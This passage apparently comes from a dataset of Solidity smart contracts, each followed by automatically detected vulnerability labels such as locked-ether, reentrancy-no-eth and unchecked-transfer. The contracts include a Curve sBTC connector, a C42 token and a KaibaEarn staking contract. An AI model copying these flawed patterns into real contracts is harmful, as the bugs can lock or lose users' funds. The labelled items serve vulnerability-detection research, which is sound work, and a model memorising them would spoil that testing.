// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.6.0;
interface ICurve {
function coins(int128 tokenId) external view returns (address token);
function calc_token_amount(uint256[3] calldata amounts, bool deposit) external returns (uint256 amount);
function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external;
function get_dy(int128 sellTokenId, int128 buyTokenId, uint256 sellTokenAmt) external returns (uint256 buyTokenAmt);
function exchange(int128 sellTokenId, int128 buyTokenId, uint256 sellTokenAmt, uint256 minBuyToken) external;
function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external;
function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external returns (uint256 amount);
}
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
function decimals() external view returns (uint);
}
interface MemoryInterface {
function getUint(uint id) external returns (uint num);
function setUint(uint id, uint val) external;
}
interface EventInterface {
function emitEvent(uint connectorType, uint connectorID, bytes32 eventCode, bytes calldata eventData) external;
}
contract Stores {
/**
* @dev Return ethereum address
*/
function getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Return memory variable address
*/
function getMemoryAddr() internal pure returns (address) {
return 0x8a5419CfC711B2343c17a6ABf4B2bAFaBb06957F; // InstaMemory Address
}
/**
* @dev Return InstaEvent Address.
*/
function getEventAddr() internal pure returns (address) {
return 0x2af7ea6Cb911035f3eb1ED895Cb6692C39ecbA97; // InstaEvent Address
}
/**
* @dev Get Uint value from InstaMemory Contract.
*/
function getUint(uint getId, uint val) internal returns (uint returnVal) {
returnVal = getId == 0 ? val : MemoryInterface(getMemoryAddr()).getUint(getId);
}
/**
* @dev Set Uint value in InstaMemory Contract.
*/
function setUint(uint setId, uint val) internal {
if (setId != 0) MemoryInterface(getMemoryAddr()).setUint(setId, val);
}
/**
* @dev emit event on event contract
*/
function emitEvent(bytes32 eventCode, bytes memory eventData) internal {
(uint model, uint id) = connectorID();
EventInterface(getEventAddr()).emitEvent(model, id, eventCode, eventData);
}
/**
* @dev Connector Details.
*/
function connectorID() public view returns(uint model, uint id) {
(model, id) = (1, 29);
}
}
contract DSMath {
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-not-safe");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "math-not-safe");
}
function div(uint x, uint y) internal pure returns (uint z) {
z = x / y;
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
}
contract CurveSBTCHelpers is Stores, DSMath {
/**
* @dev Return Curve SBTC Swap Address.
*/
function getCurveSwapAddr() internal pure returns (address) {
return 0x7fC77b5c7614E1533320Ea6DDc2Eb61fa00A9714;
}
/**
* @dev Return Curve Token Address.
*/
function getCurveTokenAddr() internal pure returns (address) {
return 0x075b1bb99792c9E1041bA13afEf80C91a1e70fB3;
}
function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = (_amt / 10 ** (18 - _dec));
}
function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = mul(_amt, 10 ** (18 - _dec));
}
function getTokenI(address token) internal pure returns (int128 i) {
if (token == address(0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D)) {
// RenBTC Token
i = 0;
} else if (token == address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599)) {
// WBTC Token
i = 1;
} else if (token == address(0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6)) {
// SBTC Token
i = 2;
} else {
revert("token-not-found.");
}
}
}
contract CurveSBTCProtocol is CurveSBTCHelpers {
event LogSell(
address indexed buyToken,
address indexed sellToken,
uint256 buyAmt,
uint256 sellAmt,
uint256 getId,
uint256 setId
);
event LogDeposit(address token, uint256 amt, uint256 mintAmt, uint256 getId, uint256 setId);
event LogWithdraw(address token, uint256 amt, uint256 burnAmt, uint256 getId, uint256 setId);
/**
* @dev Sell ERC20_Token.
* @param buyAddr buying token address.
* @param sellAddr selling token amount.
* @param sellAmt selling token amount.
* @param unitAmt unit amount of buyAmt/sellAmt with slippage.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function sell(
address buyAddr,
address sellAddr,
uint sellAmt,
uint unitAmt,
uint getId,
uint setId
) external payable {
uint _sellAmt = getUint(getId, sellAmt);
ICurve curve = ICurve(getCurveSwapAddr());
TokenInterface _buyToken = TokenInterface(buyAddr);
TokenInterface _sellToken = TokenInterface(sellAddr);
_sellAmt = _sellAmt == uint(-1) ? _sellToken.balanceOf(address(this)) : _sellAmt;
_sellToken.approve(address(curve), _sellAmt);
uint _slippageAmt = convert18ToDec(_buyToken.decimals(), wmul(unitAmt, convertTo18(_sellToken.decimals(), _sellAmt)));
uint intialBal = _buyToken.balanceOf(address(this));
curve.exchange(getTokenI(sellAddr), getTokenI(buyAddr), _sellAmt, _slippageAmt);
uint finalBal = _buyToken.balanceOf(address(this));
uint _buyAmt = sub(finalBal, intialBal);
setUint(setId, _buyAmt);
emit LogSell(buyAddr, sellAddr, _buyAmt, _sellAmt, getId, setId);
bytes32 _eventCode = keccak256("LogSell(address,address,uint256,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(buyAddr, sellAddr, _buyAmt, _sellAmt, getId, setId);
emitEvent(_eventCode, _eventParam);
}
/**
* @dev Deposit Token.
* @param token token address.
* @param amt token amount.
* @param unitAmt unit amount of curve_amt/token_amt with slippage.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function deposit(
address token,
uint amt,
uint unitAmt,
uint getId,
uint setId
) external payable {
uint256 _amt = getUint(getId, amt);
TokenInterface tokenContract = TokenInterface(token);
_amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt;
uint[3] memory _amts;
_amts[uint(getTokenI(token))] = _amt;
tokenContract.approve(getCurveSwapAddr(), _amt);
uint _amt18 = convertTo18(tokenContract.decimals(), _amt);
uint _slippageAmt = wmul(unitAmt, _amt18);
TokenInterface curveTokenContract = TokenInterface(getCurveTokenAddr());
uint initialCurveBal = curveTokenContract.balanceOf(address(this));
ICurve(getCurveSwapAddr()).add_liquidity(_amts, _slippageAmt);
uint finalCurveBal = curveTokenContract.balanceOf(address(this));
uint mintAmt = sub(finalCurveBal, initialCurveBal);
setUint(setId, mintAmt);
emit LogDeposit(token, _amt, mintAmt, getId, setId);
bytes32 _eventCode = keccak256("LogDeposit(address,uint256,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(token, _amt, mintAmt, getId, setId);
emitEvent(_eventCode, _eventParam);
}
/**
* @dev Withdraw Token.
* @param token token address.
* @param amt token amount.
* @param unitAmt unit amount of curve_amt/token_amt with slippage.
* @param getId Get token amount at this ID from `InstaMemory` Contract.
* @param setId Set token amount at this ID in `InstaMemory` Contract.
*/
function withdraw(
address token,
uint256 amt,
uint256 unitAmt,
uint getId,
uint setId
) external payable {
uint _amt = getUint(getId, amt);
int128 tokenId = getTokenI(token);
TokenInterface curveTokenContract = TokenInterface(getCurveTokenAddr());
ICurve curveSwap = ICurve(getCurveSwapAddr());
uint _curveAmt;
uint[3] memory _amts;
if (_amt == uint(-1)) {
_curveAmt = curveTokenContract.balanceOf(address(this));
_amt = curveSwap.calc_withdraw_one_coin(_curveAmt, tokenId);
_amts[uint(tokenId)] = _amt;
} else {
_amts[uint(tokenId)] = _amt;
_curveAmt = curveSwap.calc_token_amount(_amts, false);
}
uint _amt18 = convertTo18(TokenInterface(token).decimals(), _amt);
uint _slippageAmt = wmul(unitAmt, _amt18);
curveTokenContract.approve(address(curveSwap), 0);
curveTokenContract.approve(address(curveSwap), _slippageAmt);
curveSwap.remove_liquidity_imbalance(_amts, _slippageAmt);
setUint(setId, _amt);
emit LogWithdraw(token, _amt, _curveAmt, getId, setId);
bytes32 _eventCode = keccak256("LogWithdraw(address,uint256,uint256,uint256,uint256)");
bytes memory _eventParam = abi.encode(token, _amt, _curveAmt, getId, setId);
emitEvent(_eventCode, _eventParam);
}
}
contract ConnectSBTCCurve is CurveSBTCProtocol {
string public name = "Curve-sbtc-v1.1";
} | These are the vulnerabilities found
1) incorrect-equality with Medium impact
2) erc20-interface with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract C42 is Owned,ERC20{
uint256 public maxSupply;
event Mint(uint256 _value);
constructor(address _owner) {
symbol = "C42";
name = "C42";
decimals = 18; // 18 Decimals
totalSupply = 5000000000e18; // 5,000,000,000 C42 and 18 Decimals
maxSupply = 5000000000e18; // 5,000,000,000 C42 and 18 Decimals
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
function mint(uint256 _amount) public onlyOwner returns (bool){
require(_amount>0&&totalSupply+_amount<=maxSupply,"maxsupply");
balances[owner]+=_amount;
totalSupply+=_amount;
emit Mint(_amount);
return true;
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/*
/$$ /$$ /$$ /$$ /$$$$$$$$
| $$ /$$/ |__/| $$ | $$_____/
| $$ /$$/ /$$$$$$ /$$| $$$$$$$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ /$$$$$$$
| $$$$$/ |____ $$| $$| $$__ $$ |____ $$| $$$$$ |____ $$ /$$__ $$| $$__ $$
| $$ $$ /$$$$$$$| $$| $$ \ $$ /$$$$$$$| $$__/ /$$$$$$$| $$ \__/| $$ \ $$
| $$\ $$ /$$__ $$| $$| $$ | $$ /$$__ $$| $$ /$$__ $$| $$ | $$ | $$
| $$ \ $$| $$$$$$$| $$| $$$$$$$/| $$$$$$$| $$$$$$$$| $$$$$$$| $$ | $$ | $$
|__/ \__/ \_______/|__/|_______/ \_______/|________/ \_______/|__/ |__/ |__/
.-'''''-.
.' `.
: :
: :
: _/| :
: =/_/ :
`._/ | .'
( / ,|...-'
\_/^\/||__
_/~ `""~`"` \_
__/ -'/ `-._ `\_\__
/ /-'` `\ \ \-.\
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface ERC20 {
function decimals() external view returns(uint);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ERC20RewardToken is ERC20 {
function mint_rewards(uint256 qty, address receiver) external;
function burn_tokens(uint256 qty, address burned) external;
}
contract protected {
mapping(address => bool) is_auth;
function is_it_auth(address addy) public view returns (bool) {
return is_auth[addy];
}
function set_is_auth(address addy, bool booly) public onlyAuth {
is_auth[addy] = booly;
}
modifier onlyAuth() {
require(is_auth[msg.sender] || msg.sender == owner, "not owner");
_;
}
address owner;
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
bool locked;
modifier safe() {
require(!locked, "reentrant");
locked = true;
_;
locked = false;
}
}
contract KaibaEarn is protected {
string public name = "Kaiba Earn";
// Variable to get the right rewards
uint year_divisor = 1000000000;
// create 2 state variables
address public Kaiba = 0xF2210f65235c2FB391aB8650520237E6378e5C5A;
address public Fang = 0x988FC5E37281F6c165886Db96B3FdD2f61E6Bb3F;
address public router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public factory_address;
IUniswapV2Router02 router;
uint32 public year = 365 days;
uint32 public day = 1 days;
uint32 public week = 7 days;
uint32 public month = 30 days;
uint32 public six_months = 180 days;
constructor(address[] memory _authorized) {
/// @notice initial authorized addresses
if(_authorized.length > 0 && _authorized.length < 4) {
for(uint init; init < _authorized.length; init++) {
is_auth[_authorized[init]] = true;
}
}
owner = msg.sender;
is_auth[owner] = true;
name = "Kaiba Earn";
router = IUniswapV2Router02(router_address);
factory_address = router.factory();
}
////////////////////////////////
///////// Struct Stuff /////////
////////////////////////////////
struct STAKE {
bool active;
address token_staked;
address token_reward;
uint128 quantity;
uint128 start_time;
uint128 last_retrieved;
uint128 total_earned;
uint128 total_withdraw;
uint128 unlock_time;
uint128 time_period;
}
struct STAKER {
mapping(uint96 => STAKE) stake;
uint96 last_id;
uint[] closed_pools;
}
mapping(address => STAKER) public staker;
struct STAKABLE {
bool enabled;
bool is_mintable;
uint128 unlocked_rewards;
address token_reward;
mapping(uint128 => bool) allowed_rewards;
mapping(uint128 => uint128) timed_rewards;
mapping(address => uint128) pools;
address[] all_stakeholders;
uint128 balance_unlocked;
uint128 balance_locked;
uint128 balance;
}
mapping(address => STAKABLE) public stakable;
////////////////////////////////
////////// View Stuff //////////
////////////////////////////////
function get_token_farms_statistics(address token) public view returns(address[] memory stakeholders,
uint balance,
uint unlocked,
uint locked,
bool mintable){
require(stakable[token].enabled, "Not enabled");
return (
stakable[token].all_stakeholders,
stakable[token].balance,
stakable[token].balance_unlocked,
stakable[token].balance_locked,
stakable[token].is_mintable
);
}
function get_stakable_token(address token)
public
view
returns (
bool enabled,
uint256 unlocked,
uint256 amount_in
)
{
if (!stakable[token].enabled) {
return (false, 0, 0);
} else {
return (
true,
stakable[token].unlocked_rewards,
stakable[token].balance
);
}
}
function get_single_pool(address actor, uint96 pool)
public
view
returns (
uint256 quantity,
uint256 unlock_block,
uint256 start_block
)
{
require(staker[actor].stake[pool].active, "Inactive");
return (
staker[actor].stake[pool].quantity,
staker[actor].stake[pool].unlock_time,
staker[actor].stake[pool].start_time
);
}
function get_reward_on_pool(address actor, uint96 pool, bool yearly)
public
view
returns (uint128 reward)
{
require(staker[actor].stake[pool].active, "Inactive");
uint128 local_pool_amount = staker[actor].stake[pool].quantity;
uint128 local_time_period = staker[actor].stake[pool].time_period;
address local_token_staked = staker[actor].stake[pool].token_staked;
uint local_time_passed;
if(yearly) {
local_time_passed = 365 days;
} else {
local_time_passed = block.timestamp -
staker[actor].stake[pool].start_time;
}
uint128 local_total_pool = stakable[local_token_staked].balance;
uint128 local_reward_timed;
if (
!(stakable[local_token_staked].timed_rewards[local_time_period] ==
0)
) {
local_reward_timed = stakable[local_token_staked].timed_rewards[
local_time_period
];
} else {
local_reward_timed = stakable[local_token_staked].unlocked_rewards;
}
/// @notice Multiplying the staked quantity with the part on an year staked time;
/// Dividng this for the total of the pool.
/// AKA: staked * (reward_in_a_year * part_of_time_on_a_year) / total_pool;
uint128 local_reward = uint128(((local_pool_amount *
((local_reward_timed * ((local_time_passed * 1000000) / year)))) /
year_divisor) / local_total_pool);
/// @notice Exclude already withdrawn tokens
uint128 local_reward_adjusted = local_reward -
staker[msg.sender].stake[pool].total_withdraw;
return local_reward_adjusted;
}
function get_reward_yearly_timed(address token, uint96 locktime) public view returns(uint) {
uint256 local_reward_timed;
if (
!(stakable[token].timed_rewards[locktime] ==
0)
) {
local_reward_timed = stakable[token].timed_rewards[
locktime
];
} else {
local_reward_timed = stakable[token].unlocked_rewards;
}
return local_reward_timed;
}
function get_apy(address staked, address rewarded, uint staked_amount, uint rewarded_amount)
public view returns(uint current_apy) {
/// @dev Get the price in ETH of the two tokens
IUniswapV2Factory factory = IUniswapV2Factory(factory_address);
address staked_pair_address = factory.getPair(staked, router.WETH());
address rewarded_pair_address = factory.getPair(rewarded, router.WETH());
uint staked_price = getTokenPrice(staked_pair_address, staked_amount);
uint rewarded_price = getTokenPrice(rewarded_pair_address, rewarded_amount);
/// @dev Get the values of deposited tokens and expected yearly reward
uint staked_value = staked_amount * staked_price;
uint rewarded_value = rewarded_amount * rewarded_price;
/// @dev Calculate APY with the values we extracted
uint apy = (rewarded_value * 100) / staked_value;
return apy;
}
function getTokenPrice(address pairAddress, uint amount) public view returns(uint)
{
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
ERC20 token1 = ERC20(pair.token1());
(uint Res0, uint Res1,) = pair.getReserves();
// decimals
uint res0 = Res0*(10**token1.decimals());
return((amount*res0)/Res1); // return amount of token0 needed to buy token1
}
function get_staker(address stakeholder) public view returns(uint pools, uint[] memory closed) {
return (staker[stakeholder].last_id, staker[stakeholder].closed_pools);
}
////////////////////////////////
///////// Write Stuff //////////
////////////////////////////////
function stake_token(
address token,
uint128 amount,
uint256 timelock
) public safe {
ERC20 erc_token = ERC20(token);
require(
erc_token.allowance(msg.sender, address(this)) >= amount,
"Allowance"
);
require(stakable[token].enabled, "Not stakable");
erc_token.transferFrom(msg.sender, address(this), amount);
uint96 pool_id = staker[msg.sender].last_id;
staker[msg.sender].last_id += 1;
staker[msg.sender].stake[pool_id].active = true;
staker[msg.sender].stake[pool_id].quantity = amount;
staker[msg.sender].stake[pool_id].token_staked = token;
staker[msg.sender].stake[pool_id].token_reward = stakable[token]
.token_reward;
staker[msg.sender].stake[pool_id].start_time = uint96(block.timestamp);
staker[msg.sender].stake[pool_id].unlock_time =
uint128(block.timestamp +
timelock);
staker[msg.sender].stake[pool_id].time_period = uint128(timelock);
/// @notice updating stakable token stats
stakable[token].balance += amount;
if (timelock == 0) {
stakable[token].balance_unlocked += amount;
} else {
stakable[token].balance_locked += amount;
}
}
function withdraw_earnings(uint96 pool) public safe {
address actor = msg.sender;
address local_token_staked = staker[actor].stake[pool].token_staked;
address local_token_rewarded = staker[actor].stake[pool].token_reward;
/// @notice no flashloans
require(staker[actor].stake[pool].start_time < block.timestamp);
/// @notice Authorized addresses can withdraw freely
if (!is_auth[actor]) {
require(
staker[actor].stake[pool].unlock_time < block.timestamp,
"Locked"
);
}
uint128 rewards = get_reward_on_pool(actor, pool, false);
/// @notice Differentiate minting and not minting rewards
if (stakable[local_token_staked].is_mintable) {
ERC20RewardToken local_erc_rewarded = ERC20RewardToken(
local_token_rewarded
);
local_erc_rewarded.mint_rewards(rewards, msg.sender);
} else {
ERC20 local_erc_rewarded = ERC20(local_token_rewarded);
require(local_erc_rewarded.balanceOf(address(this)) >= rewards);
local_erc_rewarded.transfer(msg.sender, rewards);
}
/// @notice Update those variables that control the status of the stake
staker[msg.sender].stake[pool].total_earned += rewards;
staker[msg.sender].stake[pool].total_withdraw += rewards;
staker[msg.sender].stake[pool].last_retrieved = uint96(block.timestamp);
}
function unstake(uint96 pool) public safe {
/// @notice no flashloans
require(staker[msg.sender].stake[pool].start_time < block.timestamp);
/// @notice Authorized addresses can withdraw freely
if (!is_auth[msg.sender]) {
require(
staker[msg.sender].stake[pool].unlock_time < block.timestamp,
"Locked"
);
}
withdraw_earnings(pool);
ERC20 token = ERC20(staker[msg.sender].stake[pool].token_staked);
token.transfer(msg.sender, staker[msg.sender].stake[pool].quantity);
/// @notice Set to zero and disable pool
staker[msg.sender].stake[pool].quantity = 0;
staker[msg.sender].stake[pool].active = false;
staker[msg.sender].closed_pools.push(pool);
}
////////////////////////////////
////////// Admin Stuff /////////
////////////////////////////////
function ADMIN_control_pool(address addy, uint96 id,
bool active, address token_staked, address token_reward,
uint128 quantity, uint128 start_time, uint128 last_retrieved, uint128 total_earned,
uint128 total_withdraw, uint128 unlock_time, uint128 time_period) public onlyAuth
{
staker[addy].stake[id].active = active;
staker[addy].stake[id].token_staked = token_staked;
staker[addy].stake[id].token_reward = token_reward;
staker[addy].stake[id].quantity = quantity;
staker[addy].stake[id].start_time = start_time;
staker[addy].stake[id].last_retrieved = last_retrieved;
staker[addy].stake[id].total_earned = total_earned;
staker[addy].stake[id].total_withdraw = total_withdraw;
staker[addy].stake[id].unlock_time = unlock_time;
staker[addy].stake[id].time_period = time_period;
}
function ADMIN_set_auth(address addy, bool booly) public onlyAuth {
is_auth[addy] = booly;
}
function ADMIN_set_token_state(address token, bool _stakable)
public
onlyAuth
{
stakable[token].enabled = _stakable;
}
function ADMIN_configure_token_stake(
address token,
bool _stakable,
bool mintable,
uint128 unlocked_reward,
address token_given,
uint128[] calldata times_allowed,
uint128[] calldata times_reward
) public onlyAuth {
require(stakable[token].enabled);
stakable[token].enabled = _stakable;
stakable[token].is_mintable = mintable;
stakable[token].unlocked_rewards = unlocked_reward;
stakable[token].token_reward = token_given;
/// @notice If specified, assign a different reward value for locked stakings
if (times_allowed.length > 0) {
require(
times_allowed.length == times_reward.length,
"Set a reward per time"
);
for (uint256 i; i < times_allowed.length; i++) {
stakable[token].allowed_rewards[times_allowed[i]] = true;
stakable[token].timed_rewards[times_allowed[i]] = times_reward[
i
];
}
}
}
////////////////////////////////
///////// Fallbacks ////////////
////////////////////////////////
receive() external payable {}
fallback() external payable {}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) reentrancy-no-eth with Medium impact
3) uninitialized-local with Medium impact
4) unchecked-transfer with High impact
5) locked-ether with Medium impact |
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
